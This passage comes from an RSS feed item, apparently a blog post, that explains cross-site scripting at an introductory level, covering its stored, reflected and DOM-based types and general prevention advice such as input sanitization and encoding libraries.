user.</p><h4>How?</h4><p>It is done by manipulating the code of the vulnerable website. This can be done if the website uses unsanitized user input. XSS attacks are most commonly seen in JavaScript, as it is fundamental to the majority of the browsers, but XSS is possible in VBScript, ActiveX, Flash, and even CSS.</p><h4>Types</h4><p>There are mainly 3 types of XSS:</p><ul><li><strong>Stored XSS: </strong>This mainly occurs when the malicious code is stored in the server, or the database like a comments section, etc. When the user opens that particular website, the code gets executed compromising the user’s control.</li><li><strong>Reflected XSS: </strong>It is the simplest form of XSS. It occurs when the attacker constructs a script that is sent with the URL or the HTTP request. Generally attackers direct users to a different website, through which the malicious is executed</li><li><strong>DOM-based XSS: D</strong>ocument <strong>O</strong>bject <strong>M</strong>odel (DOM), this takes place completely on the client or user end, these are directly injected into the source, like .window() or .innerHTML() .</li></ul><h4>Prevention</h4><ul><li>If possible, restrict users from entering HTML as input.</li><li>Improve <strong>cookies security.</strong></li><li>Sanitizing data, removing unsafe characters before storing it on the servers.</li><li>Use a security encoding library.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9fd1188f9209" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>